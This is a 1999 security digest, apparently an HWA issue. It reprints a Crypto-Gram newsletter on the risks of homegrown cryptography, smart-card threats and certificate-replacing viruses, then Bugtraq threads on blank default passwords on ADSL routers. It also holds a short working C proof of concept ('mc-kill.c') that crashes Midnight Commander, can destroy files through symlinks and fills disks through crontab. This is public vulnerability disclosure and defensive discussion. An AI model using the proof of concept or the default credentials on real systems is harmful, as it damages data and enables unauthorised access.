Cryptography: The Importance of Not Being Different Suppose your doctor said, "I realize we have antibiotics that are good at treating your kind of infection without harmful side effects, and that there are decades of research to support this treatment. But I'm going to give you tortilla-chip powder instead, because, uh, it might work." You'd get a new doctor. Practicing medicine is difficult. The profession doesn't rush to embrace new drugs; it takes years of testing before benefits can be proven, dosages established, and side effects cataloged. A good doctor won't treat a bacterial infection with a medicine he just invented when proven antibiotics are available. And a smart patient wants the same drug that cured the last person, not something different. Cryptography is difficult, too. It combines mathematics, computer science, sometimes electrical engineering, and a twisted mindset that can figure out how to get around rules, break systems, and subvert the designers' intentions. Even very smart, knowledgeable, experienced people invent bad cryptography. In the crypto community, people aren't even all that embarrassed when their algorithms and protocols are broken. That's how hard it is. Reusing Secure Components Building cryptography into products is hard, too. Most cryptography products on the market are insecure. Some don't work as advertised. Some are obviously flawed. Others are more subtly flawed. Sometimes people discover the flaws quickly, while other times it takes years (usually because no one bothered to look for them). Sometimes a decade goes by before someone invents new mathematics to break something. This difficulty is made even more serious for several reasons. First, flaws can appear anywhere. They can be in the trust model, the system design, the algorithms and protocols, the implementations, the source code, the human-computer interface, the procedures, the underlying computer system. Anywhere. Second, these flaws cannot be found through normal beta testing. Security has nothing to do with functionality. A cryptography product can function normally and be completely insecure. Flaws remain undiscovered until someone looks for them explicitly. Third, and most importantly, a single flaw breaks the security of the entire system. If you think of cryptography as a chain, the system is only as secure as its weakest link. This means that everything has to be secure. It's not enough to make the algorithms and protocols perfect if the implementation has problems. And a great product with a broken algorithm is useless. And a great algorithm, protocol, and implementation can be ruined by a flawed random number generator. And if there is a security flaw in the code, the rest of it doesn't matter. Given this harsh reality, the most rational design decision is to use as few links as possible, and as high a percentage of strong links as possible. Since it is impractical for a system designer (or even a design team) to analyze a completely new system, a smart designer reuses components that are generally believed to be secure, and only invents new cryptography where absolutely necessary. Trusting the Known Consider IPSec, the Internet IP security protocol. Beginning in 1992, it was designed in the open by committee and was the subject of considerable public scrutiny from the start. Everyone knew it was an important protocol and people spent a lot of effort trying to get it right. Security technologies were proposed, broken, and then modified. Versions were codified and analyzed. The first draft of the standard was published in 1995. Aspects were debated on security merits and on performance, ease of implementation, upgradability, and use. In November 1998, the committee published a pile of RFCs -- one in a series of steps to make IPSec an Internet standard. And it is still being studied. Cryptographers at the Naval Research Laboratory recently discovered a minor implementation flaw. The work continues, in public, by anyone and everyone who is interested. On the other hand, Microsoft developed its own Point-to-Point Tunneling Protocol (PPTP) to do much the same thing. They invented their own authentication protocol, their own hash functions, and their own key-generation algorithm. Every one of these items was badly flawed. They used a known encryption algorithm, but they used it in such a way as to negate its security. They made implementation mistakes that weakened the system even further. But since they did all this work internally, no one knew that their PPTP was weak. Microsoft fielded PPTP in Windows NT and 95, and used it in their virtual private network (VPN) products. It wasn't until summer of 1998 that Counterpane Systems published a paper describing the flaws we found. Microsoft quickly posted a series of fixes, which we have since evaluated and found wanting. They don't fix things nearly as well as Microsoft would like people to believe. And then there is a company like TriStrata, which claimed to have a proprietary security solution without telling anyone how it works (because it's patent pending). You have to trust them. They claimed to have a new algorithm and new set of protocols that are much better than any that exist today. And even if they make their system public, the fact that they've patented it and retain proprietary control means that many cryptographers won't bother analyzing their claims. Leveraging the Collective Strength You can choose any of these three systems to secure your virtual private network. Although it's possible for any of them to be flawed, you want to minimize your risk. If you go with IPSec, you have a much greater assurance that the algorithms and protocols are strong. Of course, the product could still be flawed -- there could be an implementation bug or a bug in any of the odd little corners of the code not covered in the IPSec standards -- but at least you know that the algorithms and protocols have withstood a level of analysis and review that the Microsoft and TriStrata options have not. Choosing the TriStrata system is like going to a doctor who has no medical degree and whose novel treatments (which he refuses to explain) have no support by the AMA. Sure, it's possible (although highly unlikely) that he's discovered a totally new branch of medicine, but do you want to be the guinea pig? The point here is that the best security methods leverage the collective analytical ability of the cryptographic community. No single company (outside the military) has the financial resources necessary to evaluate a new cryptographic algorithm or shake the design flaws out of a complex protocol. The same holds true in cryptographic libraries. If you write your own, you will probably make mistakes. If you use one that's public and has been around for a while, some of the mistakes will have been found and corrected. It's hard enough making strong cryptography work in a new system; it's just plain lunacy to use new cryptography when viable, long-studied alternatives exist. Yet most security companies, and even otherwise smart and sensible people, exhibit acute neophilia and are easily blinded by shiny new pieces of cryptography. Following the Crowd At Counterpane Systems, we analyze dozens of products a year. We review all sorts of cryptography, from new algorithms to new implementations. We break the vast majority of proprietary systems and, with no exception, the best products are the ones that use existing cryptography as much as possible. Not only are the conservative choices generally smarter, but they mean we can actually analyze the system. We can review a simple cryptography product in a couple of days if it reuses existing algorithms and protocols, in a week or two if it uses newish protocols and existing algorithms. If it uses new algorithms, a week is barely enough time to get started. This doesn't mean that everything new is lousy. What it does mean is that everything new is suspect. New cryptography belongs in academic papers, and then in demonstration systems. If it is truly better, then eventually cryptographers will come to trust it. And only then does it make sense to use it in real products. This process can take five to ten years for an algorithm, less for protocols or source-code libraries. Look at the length of time it is taking elliptic curve systems to be accepted, and even now they are only accepted when more trusted alternatives can't meet performance requirements. In cryptography, there is security in following the crowd. A homegrown algorithm can't possibly be subjected to the hundreds of thousands of hours of cryptanalysis that DES and RSA have seen. A company, or even an industry association, can't begin to mobilize the resources that have been brought to bear against the Kerberos authentication protocol, for example. No one can duplicate the confidence that PGP offers, after years of people going over the code, line by line, looking for implementation flaws. By following the crowd, you can leverage the cryptanalytic expertise of the worldwide community, not just a few weeks of some analyst's time. And beware the doctor who says, "I invented and patented this totally new treatment that consists of tortilla-chip powder. It has never been tried before, but I just know it is much better and I'm going to give it to you." There's a good reason we call new cryptography "snake oil." Acknowledgments Thanks to Matt Blaze for the analogy that opened this column. This originally appeared in the March 1999 issue of IEEE Computer. ** *** ***** ******* *********** ************* News A new Pentagon study acknowledges that U.S. Defense Computers are highly vulnerable to attack. Big surprise. http://abcnews.go.com/sections/tech/dailyNews/hackerspentagon990322.html The Security and Freedom through Encryption (SAFE) Act (H.R. 850) passed the House Judiciary Committee in late March. It was a victory, since an amendment -- proposed by Rep. McCollum (R-Fl) -- that would mandate key escrow as a condition for export was blocked by Rep. Goodlatte (R-VA) on jurisdictional grounds. Rep. Lofgren (D-CA), a co-author of the bill, compared the amendment to the Administration's failed Clipper Chip. Things will get tougher for the bill in other committees; it now moves to the International Relations Committee, where an intense debate on the foreign availability of encryption products is expected. http://abcnews.go.com/sections/tech/CNET/cnet_cryptobill990324.html http://www.wired.com/news/news/politics/story/18708.html Background materials on the SAFE bill: http://www.cdt.org/crypto/legis_106/SAFE/ Proposed McCollum Amendment: http://www.cdt.org/legislation/106th/encryption/McCollum.html CDT's testimony in support of SAFE: http://www.cdt.org/crypto/alantestimony.shtml The Wassenaar Arrangement is an attempt to enforce on other countries the same kinds of limits on strong cryptography that the U.S. has. This only makes sense if the U.S. is the only source of strong cryptography. But it isn't -- overseas security software is now just as good as work done by U.S. programmers. And some of the signatories are taking advantage of the wiggle room to liberalize their policies. http://www.wired.com/news/news/politics/story/19018.html ** *** ***** ******* *********** ************* Counterpane Systems -- Featured Research "The Solitaire Encryption Algorithm" Bruce Schneier, appendix to CRYPTONOMICON, by Neal Stephenson, Avon Books, 1999. Computers have revolutionized the field of cryptography. It is relatively easy to design a computer algorithm that is secure against adversaries with unimaginable computing power. Less attention has been paid to pencil and paper algorithms, suitable for people who don't have access to a computer but still want to exchange secret messages. Solitaire is an OFB stream cipher that encrypts and decrypts using an ordinary deck of playing cards. Even so, it is secure against computer cryptanalysis. http://www.counterpane.com/solitaire.html ** *** ***** ******* *********** ************* Threats Against Smart Cards Smart cards are viewed by some as the "magic bullets" of computer security, multipurpose tools that can be used for access control, e-commerce, authentication, privacy protection and a variety of other applications. While the flexibility of smart cards makes them an attractive option for numerous business uses, it also multiplies the number of threats to their overall security. To date, there has been little analysis of these wide-ranging security risks. Because of the large number of parties involved in any smart card-based system, there are many classes of attacks to which smart cards are susceptible. Most of these attacks are not possible in conventional, self-contained computer systems, since they would take place within a traditional computer's security boundary. But in the smart card world, the following attacks all pose a legitimate threat. Attacks by the Terminal Against the Cardholder or Data Owner These are the easiest attacks to understand. When a cardholder puts his card into a terminal, he trusts the terminal to relay any input and output from the card accurately. Prevention mechanisms in most smart card systems center around the fact that the terminal only has access to a card for a short period of time. The real prevention mechanisms, though, have nothing to do with the smart card/terminal exchange; they are the back-end processing systems that monitor the cards and terminals and flag suspicious behavior. Attacks by the Cardholder Against the Terminal More subtle are attacks by the cardholder against the terminal. These involve fake or modified cards running rogue software with the intent of subverting the protocol between the card and the terminal. Good protocol design mitigates the risk of these kinds of attacks. The threat is further reduced when the card contains hard-to-forge physical characteristics (e.g., the hologram on a Visa card) that can be manually checked by the terminal owner. Attacks by the Cardholder Against the Data Owner In many smart card-based commerce systems, data stored on a card must be protected from the cardholder. In some cases, the cardholder is not allowed to know that data. If the card is a stored-value card, and the user can change the value, he can effectively mint money. There have been many successful attacks against the data inside a card, such as fault analysis, reverse-engineering, and side-channel attacks such as power and timing analysis. Attacks by the Cardholder Against the Issuer There are many financial attacks that appear to be targeting the issuer, but in fact are targeting the integrity and authenticity of data or programs stored on the card. If card issuers choose to put bits that authorize use of the system in a card, they should not be surprised when those bits are attacked. These systems rest on the questionable assumption that the security perimeter of a smart card is sufficient for their purposes. Attacks by the Cardholder Against the Software Manufacturer Generally, in systems where the card is issued to an assumed hostile user, the assumption is that the card will not have new software loaded onto it. The underlying assumption may be that the split between card owner and software owner is unassailable. However, attackers have shown a remarkable ability to get the appropriate hardware sent to them, often gratis, to aid in launching an attack. Attacks by the Terminal Owner Against the Issuer In some systems, the terminal owner and card issuer are different parties. This split introduces several new attack possibilities. The terminal controls all communication between the card and card issuer, and can always falsify records or fail to complete one or more steps of a transaction in an attempt to facilitate fraud or create customer service difficulties for the issuer. Attacks by the Issuer Against the Cardholder In general, most systems presuppose that the card issuer has the best interests of the cardholder at heart. But this is not necessarily the case. These attacks are typically privacy invasions of one kind or another. Smart card systems that serve as a substitute for cash must be designed very carefully to maintain the essential properties of cash money: anonymity and unlinkability. Attacks by the Manufacturer Against the Data Owner Certain designs by manufacturers may have substantial and detrimental effects on the data owners in a system. By providing an operating system that allows (or even encourages) multiple users to run programs on the same card, a number of new security issues are opened up, such as subversion of the operating system, intentionally poor random number generators or one application on a smart card subverting another application running on the same card. Securing smart-card systems means recognizing these attacks and designing them into a system. In the best systems, it doesn't manner if (for example) the user can hack the card. It's very Zen: work with the security model, not against it. Adam Shostack is director of technology at Netect Inc. Full paper: http://www.counterpane.com/smart-card-threats.html ** *** ***** ******* *********** ************* Attacking Certificates with Computer Viruses How do you know an e-mail is authentic? You verify the digital signature, of course. This means that you verify that the message was correctly signed, using the sender's public key. How do you know that the sender's (call her Alice) public key is valid? You check the signature on *that* public key. What you're checking is called a certificate. Someone else, call him Bob, signs Alice's public key and confirms that it is valid. So you verify Bob's signature on Alice's certificate, so you can verify Alice's signature on her e-mail. Okay, how do you know that Bob's signature is valid? Maybe Carol signs her key (creating another certificate). That doesn't actually solve the problem; it just moves it up another layer. Or maybe Bob also signed your key, so you know to trust him. Or maybe Carol signed someone else's key who signed your key. In the end, you have to trust someone. This notion of a certificate chain is one of the biggest problems with public-key cryptography, and one that isn't talked about very much. PGP uses the notion of "trusted introducers"; Bob signs Alice's key because Bob knows Alice and is her friend. You signed Bob's key for the same reason. So when Alice sends you an e-mail you can note that her public key is signed by Bob, and you trust Bob to introduce you to people. (Much like Bob bringing Alice along to your party.) Other Internet protocols -- S/MIME, SSL, etc. -- take a more hierarchical approach. You probably got your public key signed by a company like Verisign. A Web site's SSL public key might have been signed by Netscape. Microsoft signs public keys used to sign pieces of ActiveX code you might download from the net. These so-called "root-level certificates" come hard-wired into your browser. So when you try to establish an SSL connection with some Web site, that Web site sends you its public-key certificate. You check to see if that certificate is signed (using the public key in your browser); if it is, you're happy. The you-have-to-trust-someone public keys are the ones that come with your software. You trust them implicitly, with no outside verification. So if you're a paranoid computer-security professional, the obvious question to ask is: can a rogue piece of software replace the root-level certificates in my browser and trick me into trusting someone? Of course it can. It's even weirder than that. Researchers Adi Shamir and Nico van Someren looked at writing programs that automatically search for public-key certificates and replace them with phony ones. It turns out that the randomness characteristics of a public key make them stick out like sore thumbs, so they're easy to find. This attack isn't without problems. If a virus replaces the root Netscape certificate with a phony one, it can trick you into believing a fake certificate is valid. But that replacement certificate can't verify any real certificates, so you'll also believe that every real certificate is invalid. (Hopefully, you'll notice this.) But it works well with Microsoft's Authenticode. Microsoft had the foresight to include two root-level Authenticode certificates, presumably for if one ever gets compromised. But the software is designed to authenticate code if even one checks out. So a virus can replace the Authenticode spare certificate. Now rogue software signed with this rogue certificate verifies as valid, and real software signed by valid Microsoft-approved companies still checks out as valid. This virus doesn't exist yet, but it could be written. An okay story on the topic: http://www.techweb.com/wire/story/TWB19990315S0001 The actual research paper: http://www.ncipher.com/products/files/papers/anguilla/keyhide2.pdf ** *** ***** ******* *********** ************* Counterpane Systems News John Wiley & Sons has published a book about the Twofish encryption algorithm. The book contains all the information in the initial Twofish submission and the first three Twofish tech reports, expanded and corrected. It lists for $50, but I am offering it at a 20% discount. http://www.counterpane.com/twofish-book.html CardTech/SecureTech '99. Bruce Schneier will host and speak at the Cryptography Technology panel at CardTech/SecureTech, on Wednesday afternoon, May 14, in Chicago. http://www.ctst.com NetSec '99. Bruce Schneier will give the keynote speech at NetSec '99, a computer security conference (June 14-16, in St. Louis). Even though Bruce's talk will be at 8:00 in the morning on Tuesday, it will be interesting. Schneier will also be speaking about securing legacy applications at 2:00 that afternoon. http://www.gocsi.com/conf.htm The Black Hat Briefings '99 is a Computer Security Conference scheduled for July 7 and 8 in Las Vegas, Nevada. DefCon is a hackers convention held the weekend after. Bruce Schneier will be speaking at both. http://www.blackhat.com/ http://www.defcon.org/ ** *** ***** ******* *********** ************* Comments from Readers From: Paul Shields Subject: Home-made Cryptographic Algorithms But it is not the "try to develop new algorithms" that is the danger so much as the belief that it is safe to deploy those algorithms; and since the designers are not always the decision makers, while the designer of an algorithm can see its academic learning-by-doing value, the decision maker can perhaps only see property to sell. Sadly, those decision makers are business people who are not often well-acquainted with mathematical proofs, and instead focus on risk and profit. If no one ever tries to break it, the algorithm may not be secure; but if the fact is that even after limited deployment no competent person ever again tries to break it, then to the business mind that risk is covered. I have to admit that in my youth I wrote a crypto application that, while horribly insecure even to my untrained eyes, was unfortunately put into service by just such a decision maker. The story goes that it was actually used to protect highly sensitive information and that it passed a committed attempt to break it; but this did not help me sleep at night. To convince them I think such people need really compelling stories of such systems that have fallen, at enormous cost to those who trusted them. From: George Stults Subject: Peer Review vs. Secrecy I was thinking about a point that you have made many times, namely that if you don't use a published, peer reviewed, and analysed cryptographic method, you are taking a big chance; it could be a good method, but the odds are against it. It occurs to me that there is another calculation you could make here. Namely that a well known and widely adopted method such as DES is worth a great deal more of effort to break. Enough so that special purpose hardware becomes justifiable to break it, as in the recently publicized machine which broke (40 bit key?) DES. And the opposite would seem to be true of obscure methods. Any agency that must deal with a large volume of cryptographic material would surely prioritize its efforts. An unknown method requiring extra time and effort to attack would seem less likely to get the required attention. In effect, security by obscurity. The writers of the UK security document (referenced in a previous issue) seemed to say as much. From: Dave Emery Subject: Insecure Mobile Communications Some of us whose hobby is poking around the RF spectrum to explore what is out there have been trying to make this point about a number of widely used rf links for many many years. Nice to see the issue hit something a bit more mainstream. Most of the MDTs used by police departments are not encrypted in any meaningful sense, all the complexity of their signal formats is there to provide error correction and detection and efficient use of the radio spectrum. VHF and UHF rf links to moving vehicles are prone to both high error rates and bursts of errors (fades) and both MDT and pager protocols were designed to use very heavy (rate 1/2 or more) forward error correction and interleaving to help cope with this. This and the synchronous transmission mode used to reduce overall bandwidth make MDT signals complex and non-standard by comparison with simple ASCII async start stop stuff. And some of the providers were silly enough to sell customers on the "security" of their systems by trying to convince them that the error correcting, interleaved, randomized (scrambled, for better signal statistics, not security), signals were so complex that nobody would be able to figure them out. But if you think that police MDTs running in the open are somewhat shocking, you should also realize that virtually all pager traffic, including email sent via pager systems, is also completely unencrypted and transmitted using protocols designed for robustness in high error environments rather than security. And software for monitoring pagers with a scanner has also been widely circulated around the net for several years. Included is the capability to target particular pagers or monitor everything on the channel and grep for interesting traffic. And the Mobitex protocol used by ARDIS and RAM mobile for wireless email is another example of something that is complex for error correction and robustness but has essentially no security. And software for monitoring this circulates around the net as well. ARDIS does use XORing with a 32 bit constant of the day to provide some fig leaf of security, but obviously determining the constant is trivial... And this only scratches the surface of what can be found out in the ether and intercepted with relatively simple gear and some software ingenuity... ** *** ***** ******* *********** ************* CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses, insights, and commentaries on cryptography and computer security. To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a blank message to crypto-gram-subscribe@chaparraltree.com. To unsubscribe, visit http://www.counterpane.com/unsubform.html. Back issues are available on http://www.counterpane.com. Please feel free to forward CRYPTO-GRAM to colleagues and friends who will find it valuable. Permission is granted to reprint CRYPTO-GRAM, as long as it is reprinted in its entirety. CRYPTO-GRAM is written by Bruce Schneier. Schneier is president of Counterpane Systems, the author of "Applied Cryptography," and an inventor of the Blowfish, Twofish, and Yarrow algorithms. He served on the board of the International Association for Cryptologic Research, EPIC, and VTW. He is a frequent writer and lecturer on cryptography. Counterpane Systems is a six-person consulting firm specializing in cryptography and computer security. Counterpane provides expert consulting in: design and analysis, implementation and testing, threat modeling, product research and forecasting, classes and training, intellectual property, and export consulting. Contracts range from short-term design evaluations and expert opinions to multi-year development efforts. http://www.counterpane.com/ Copyright (c) 1999 by Bruce Schneier @HWA 36.0 default passwords on ADSL routers ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Approved-By: aleph1@UNDERGROUND.ORG Message-ID: <19990414190206Z36800-18269+1298@brimstone.netspace.org> Date: Wed, 14 Apr 1999 19:01:35 +0000 Reply-To: Brad Zimmerman Sender: Bugtraq List From: Brad Zimmerman Subject: aDSL routers To: BUGTRAQ@netspace.org This is also true on USWest's Cisco 675. Password is (hit the enter key)... However, as far as I know, all ISP's using Cisco 675's are set into bridging mode, which doesn't allow any remote access to the Cisco 675, save the serial cable. Older USWest equipment, the Netspeed 202 and 204, used a default user name (root) and a default password is (hit the Enter key)... For both routers, the Netspeed and Cisco, the default password/login is listed right in the manual, for anyone to see. In the future, I believe USWest intends to have customers set their Cisco 675's into routing mode. Or, at the very least, ISP's will begin supporting PPP over Ethernet, which means the Cisco routers are set into routing mode, which will make many thousand customers vulnerable due to unauthorized remote access. I believe (but not sure) that Verio has the ability to let customers set their modems into routing mode (using PPP over Ethernet)... USWest *has* detailed changes to the Cisco 675, noting it's ability to do do PPP over Ethernet along with what is required at the ISP end to perform PPP over Ethernet. > Welp, aDSL is here. And at least one manufacturer, flowpoint, sets no > admin password. It's in the documentation, so I assume the > company already knows about this vulnerability:) System managers > who have aDSL access often overlook this, so I thought I'd point it out. > A quick fix: disable telnet access to all of your aDSL router IP's. > Better fix: set an admin password. Brad Zimmerman http://fubar.europa.com "Taking over the world, one computer at a time." Approved-By: aleph1@UNDERGROUND.ORG Message-ID: Date: Wed, 14 Apr 1999 18:01:07 -0400 Reply-To: Truman Boyes Sender: Bugtraq List From: Truman Boyes Subject: Re: aDSL routers There are two levels of access on these units. Basic telnet access will provide limited commandset. These would leave the user with the ability to 'ping', list system info, show processes, and list the routing table. There is another level which provides more options and rights is available only by logging into the unit with password from the command line interface. Like most routers on networks, access should be restricted with access control lists. You can set this by using 'system addTelnetFilter' and specifying an IP range. Version Tested: FlowPoint/2200 SDSL [ATM] Router FlowPoint-2000 BOOT/POST V4.0.2 (18-Mar-98 12:00) .truman.boyes. On Tue, 13 Apr 1999, David Brumley wrote: > Welp, aDSL is here. And at least one manufacturer, flowpoint, sets no > admin password. It's in the documentation, so I assume the > company already knows about this vulnerability:) System managers > who have aDSL access often overlook this, so I thought I'd point it out. > A quick fix: disable telnet access to all of your aDSL router IP's. > Better fix: set an admin password. > > Version tested: > FlowPoint/2000 ADSL Router > FlowPoint-2000 BOOT/POST V4.0.2 (18-Mar-98 12:00) > Software version v1.4.5 built Tue Aug 11 23:20:20 PDT 1998 > > Cheers, > -db > Approved-By: aleph1@UNDERGROUND.ORG References: Lines: 32 X-Mailer: Gnus v5.6.45/Emacs 20.3 Message-ID: Date: Wed, 14 Apr 1999 18:55:29 -0400 Reply-To: Chris Shenton Sender: Bugtraq List From: Chris Shenton Subject: Re: aDSL routers On Tue, 13 Apr 1999 23:01:50 -0700, David Brumley said: David> And at least one manufacturer, flowpoint, sets no admin David> password. It's in the documentation, so I assume the company David> already knows about this vulnerability:) System managers who David> have aDSL access often overlook this, so I thought I'd point it David> out. A quick fix: disable telnet access to all of your aDSL David> router IP's. Better fix: set an admin password. I have a couple other concerns on my 2200 (firmware 3.0.2). My carrier, Covad, did set a password but it's too easy. You can restrict IP access to telnet like: system addTelnetFilter first.host.ip.addr [last.host.ip.addr] You should also do this for SNMP since it's available to the world with community "public": system addSNMPFilter first.host.ip.addr [last.host.ip.addr] I restrict these to my LAN. Have you tried an nmap scan on it? It reports "trivial joke" for TCP sequence predictability. Should allow bad guys to hijack sessions. Doubleplusungood. I've gotten no feedback from comp.dcom.xdsl or support@flowpoint.com. If anyone has clues to protect this I'd like to hear 'em but I fear it'll require new code and firmware from Flowpoint and they're not being responsive. Approved-By: aleph1@UNDERGROUND.ORG Received: from flowpoint.com (flowpnt.flowpoint.com [209.31.4.42]) by netspace.org (8.8.7/8.8.7) with ESMTP id VAA28019 for ; Wed, 14 Apr 1999 21:13:28 -0400 Received: from localhost (pmr@localhost) by flowpoint.com (8.8.7/8.8.4) with SMTP id SAA29902; Wed, 14 Apr 1999 18:07:59 -0700 X-Sender: pmr@flowpnt MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: Date: Wed, 14 Apr 1999 18:07:59 -0700 Reply-To: Philip Rakity Sender: Bugtraq List From: Philip Rakity Subject: FlowPoint ADSL Reported Problem X-To: dbrumley@goju.stanford.edu X-cc: Dano Ybarra , Stewart Hulett To: BUGTRAQ@netspace.org In-Reply-To: <01BE869B.D4D2F300.roger@flowpoint.com> Recently there was a note in the bug list (below) indicating that FlowPoint Routers do not set an administration password. This statement is false, but the vulnerability of the router to folks not changing the default router password is well known. Our GUI asks the user to change the password. Release 3.0.2 onwards requires the user to enter the password to access any information via the console or telnet. Access control to the router via telnet and snmp can be controlled via access lists using the command system addtelnetfilter system addsnmpfilter The SNMP Community name can be changed as well as the ports used to access Telnet and SNMP. In addition, access to the router via SNMP and Telnet can be turned off. The commands system telnetport system snmpport A of 0 stops access to the router. In addition, an IP Filtering package similar to the Linux Firewall capability is available as an option. kind regards, Philip Rakity Vice President Product Development FlowPoint Corporation 180 Knowles Drive Suite 100 Los Gatos, CA 95030 USA e-mail: pmr@flowpoint.com phone: +1 (408) 364-8300 fax: +1 (408) 364-8301 > > -----Original Message----- > From: David Brumley [SMTP:dbrumley@GOJU.STANFORD.EDU] > Sent: Tuesday, April 13, 1999 11:02 PM > Subject: aDSL routers > > Welp, aDSL is here. And at least one manufacturer, flowpoint, sets no > admin password. It's in the documentation, so I assume the > company already knows about this vulnerability:) System managers > who have aDSL access often overlook this, so I thought I'd point it out. > A quick fix: disable telnet access to all of your aDSL router IP's. > Better fix: set an admin password. > > Version tested: > FlowPoint/2000 ADSL Router > FlowPoint-2000 BOOT/POST V4.0.2 (18-Mar-98 12:00) > Software version v1.4.5 built Tue Aug 11 23:20:20 PDT 1998 > > Cheers, > -db > Approved-By: aleph1@UNDERGROUND.ORG Received: from goju.Stanford.EDU (Goju.Stanford.EDU [171.64.12.46]) by netspace.org (8.8.7/8.8.7) with ESMTP id XAA17148 for ; Wed, 14 Apr 1999 23:34:26 -0400 Received: (from dbrumley@localhost) by goju.Stanford.EDU (C.3.P0/8.8.8) id UAA03501; Wed, 14 Apr 1999 20:33:41 -0700 (PDT) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: Date: Wed, 14 Apr 1999 20:33:41 -0700 Reply-To: David Brumley Sender: Bugtraq List From: David Brumley Subject: Re: FlowPoint ADSL Reported Problem X-To: Philip Rakity X-cc: Dano Ybarra , Stewart Hulett To: BUGTRAQ@netspace.org In-Reply-To: > > Recently there was a note in the bug list (below) indicating that > FlowPoint Routers do not set an administration password. This statement > is false, but the vulnerability of the router to folks not changing the > default router password is well known. What's false about the statement? Is there or is there not either a. a universal password (say, admin) as some reported b. no password at all and full telnet access open by default? > > Our GUI asks the user to change the password. And suppose your GUI isn't supported on my OS? > > Release 3.0.2 onwards requires the user to enter the password > to access any information via the console or telnet. > [--snip--] Okay, here starts the recommendation for *admins*. This is exactly what I was pointing out. Thanks for giving examples. However, it has nothing to do with your product doing something bad in the first place. Out of the box I can control your router. Why don't you disable SNMP and telnet when a password isn't set like some router companies? Or perhaps have the default password unique to each machine...say the serial number and turn off SNMP completely? This would limit the threat to those with physical access, and considering where most aDSL's are found, i don't think it'd be a big problem. Half a dozen other possible solutions spring to mind. Offline I'd be happy to discuss them with you. Incident response teams all over have noted that users with cable modems have been targeted by some nefarious individuals. As aDSL moves into this market, naturally the kiddies will want to take advantage of it. This is the number one reason you, me, and every other aDSL user should be concerned. Cheers, -db > > > > -----Original Message----- > > From: David Brumley [SMTP:dbrumley@GOJU.STANFORD.EDU] > > Sent: Tuesday, April 13, 1999 11:02 PM > > Subject: aDSL routers > > > > Welp, aDSL is here. And at least one manufacturer, flowpoint, sets no > > admin password. It's in the documentation, so I assume the > > company already knows about this vulnerability:) System managers > > who have aDSL access often overlook this, so I thought I'd point it out. > > A quick fix: disable telnet access to all of your aDSL router IP's. > > Better fix: set an admin password. > > > > Version tested: > > FlowPoint/2000 ADSL Router > > FlowPoint-2000 BOOT/POST V4.0.2 (18-Mar-98 12:00) > > Software version v1.4.5 built Tue Aug 11 23:20:20 PDT 1998 > > > > Cheers, > > -db > > > > @HWA 37.0 Another bug in Midnight Commander/crontab ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Approved-By: aleph1@UNDERGROUND.ORG Received: from lighting.ml.org (qmailr@main.lighting.ml.org [195.205.44.70]) by netspace.org (8.8.7/8.8.7) with SMTP id CAA05322 for ; Thu, 15 Apr 1999 02:15:49 -0400 Received: (qmail 19504 invoked by uid 1030); 15 Apr 1999 06:16:08 -0000 Message-ID: <19990415061608.19503.qmail@lighting.ml.org> Date: Thu, 15 Apr 1999 06:16:08 -0000 Reply-To: z33d@LIGHTING.ML.ORG Sender: Bugtraq List From: Maurycy Prodeus Subject: Large size file and Midnight/bug in crontab with this file To: BUGTRAQ@netspace.org Hello ... ******************************************************************************* * * I. -= Midnight small buf =- * * II. -= Large size file - you can fill disk too with crontab ( Michal * Zalewski found this ) * ******************************************************************************* I. This time I found another bug in Midnight Commander 4.xx [ i used 4.1.33 ;)] ... We can make a Segmentation Fault and if root doesn't lock this , it causes Core Dumping ... ofcourse we just make some file in /tmp (?) and if root read this file ... his mc creates core... yeesss we can make symlink to every file in system ... and this file will be total destroy ! Together with "Social Engeering",it is dangerous . [ filename may be example : hacker.tools or sth. ] What file we must create ? With negative size , but really it is a very large size ;-) ( very strange that even in kernel 2.2.5 it is posible ) Quick test : Run this program and next run mc and try read [ F3 ofcourse and example PageDown ] file which was created by mc-kill ... --------- mc-kill.c ------------ #include #include #define size -900000 main(int argc,char* argv[]) { int i; if (!argv[1]) { printf("\nUSAGE : %s filename[and patch] \n\n",argv[0]); exit(0); } fchmod(i=open(argv[1],O_RDWR|O_CREAT,0600),0666); ftruncate(i,size); fsync(i); } ------------ end of mc-kill.c --------------- SOLUTION You NEVER read strange file in MC ...:-) hmmm seriously : lcamtuf [ http://dione.ids.pl ] wrote kernel module which not allow to create symlinks in /tmp ... II. If you use above program ( or /dev/zero :-) ) you may fill partition ... When crontab is reading file , creates temp in /var/spool/cron/ ( non-root can't even read this - lcamtuf ) But , if it doesn't finish then doesn't delete this temp file ... OK. So , we must give crontab file with "infinit" size . Example : crontab -file-made-by-mc-kill SOLUTION It isn't very dangerous. ******************************************************************************* z33d email : z33d@lighting.ml.org www : z33d.lighting.ml.org Jesli nie istnieje racjonalna strategia optymalna , optymalna strategia jest strategia losowa ... - unknown @HWA 38.0 NFR releases Back Officer desktop IDS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://nt.excite.com/news/bw/990415/dc-network-flight-record NFR BackOfficer Friendly Goes On Patrol (Last updated 10:37 AM ET April 15) WASHINGTON (BUSINESS WIRE) - Network Flight Recorder(R) (Bloomberg Ticker: 9022Z EQUITY), a technology leader in intrusion detection and network monitoring, today announced the release of NFR(tm) BackOfficer Friendly(tm) Version 1.0, a desktop intrusion and scan detection server that watches for Back Orifice attacks and other types of scans. Back Orifice, a remote control penetration application, silently allows hackers complete control of infected machines. Increasingly, hackers are also using vulnerability assessment tools designed for security professionals, against unsuspecting users. "We've found that a huge number of people don't realize that when they're dialed into the Internet, whether through a dial-up or cable modem, their systems are being periodically scanned by hackers, looking for vulnerabilities to exploit," noted Marcus J. Ranum, President and CEO of Network Flight Recorder, Inc. "BackOfficer Friendly will block and indicate the type and severity of certain scans." "BackOfficer Friendly helped us investigate a case where another police officer's computer was attacked. We were able to track down the perpetrator, make an arrest, and seize four computers," said a criminal investigator with a state police agency who was an early tester of BackOfficer Friendly. "Upon installing BackOfficer Friendly on my machine, I was scanned the very next day." Using spoofing server technology, BackOfficer Friendly responds to Back Orifice and other possibly unwanted requests with false answers that look like they were created by the hacker tool. At the same time, BackOfficer Friendly alerts you and records information about the source of the attempt and the operations they attempted to perform. "The spoofing server technology of BackOfficer Friendly uses virtually no system resources, and doesn't consume any processing power 